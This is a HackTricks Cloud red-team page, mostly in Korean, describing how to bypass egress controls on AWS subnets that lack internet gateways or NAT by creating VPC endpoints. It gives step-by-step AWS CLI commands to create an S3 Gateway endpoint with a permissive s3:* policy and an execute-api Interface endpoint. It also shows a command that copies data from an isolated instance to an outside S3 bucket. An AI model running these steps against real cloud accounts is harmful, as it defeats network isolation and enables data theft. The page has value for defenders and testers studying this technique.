AWS – Egress Bypass from Isolated Subnets via VPC Endpoints
Reading time: 4 minutes
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
요약
이 기법은 Internet Gateways나 NAT가 없는 서브넷에서 데이터 유출 채널을 만들기 위해 VPC Endpoints를 악용한다. Gateway endpoints (예: S3)는 서브넷의 route table에 prefix‑list 경로를 추가하고; Interface endpoints (예: execute-api, secretsmanager, ssm 등)는 security groups로 보호되는 private IP를 가진 접근 가능한 ENI를 생성한다. 최소한의 VPC/EC2 권한으로 공격자는 공용 Internet을 통과하지 않는 제어된 egress를 활성화할 수 있다.
Prereqs: existing VPC and private subnets (no IGW/NAT). You’ll need permissions to create VPC endpoints and, for Option B, a security group to attach to the endpoint ENIs.
옵션 A – S3 Gateway VPC Endpoint
변수
REGION=us-east-1VPC_ID=<target vpc>RTB_IDS=<comma-separated route table IDs of private subnets>
- 허용적인 endpoint policy 파일을 생성한다(선택사항).
allow-put-get-any-s3.json로 저장:
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
- S3 Gateway endpoint 생성 (선택한 route tables에 S3 prefix‑list route를 추가):
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json # optional
캡처할 증거:
aws ec2 describe-route-tables --route-table-ids $RTB_IDS는 AWS S3 prefix list로 가는 경로를 보여줍니다(예:DestinationPrefixListId=pl-..., GatewayId=vpce-...).- 해당 서브넷의 인스턴스에서 (with IAM perms) Internet 없이 S3를 통해 exfil할 수 있습니다:
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
옵션 B – Interface VPC Endpoint for API Gateway (execute-api)
변수
REGION=us-east-1VPC_ID=<target vpc>SUBNET_IDS=<comma-separated private subnets>SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>
- interface endpoint를 생성하고 SG를 연결하세요:
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled
수집할 증거:
aws ec2 describe-vpc-endpoints가available상태의 엔드포인트를NetworkInterfaceIds와 함께 표시함 (서브넷 내 ENIs).- 해당 서브넷의 인스턴스는 해당 VPCE ENIs를 통해 Private API Gateway endpoints에 접근할 수 있음(인터넷 경로 불필요).
영향
- AWS가 관리하는 프라이빗 경로를 이용해 경계 아웃바운드 제어를 우회함.
- 격리된 서브넷에서 데이터 유출을 가능하게 함(예: S3에 쓰기; Private API Gateway 호출; Secrets Manager/SSM/STS 등 접근) — IGW/NAT 없이.
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks Cloud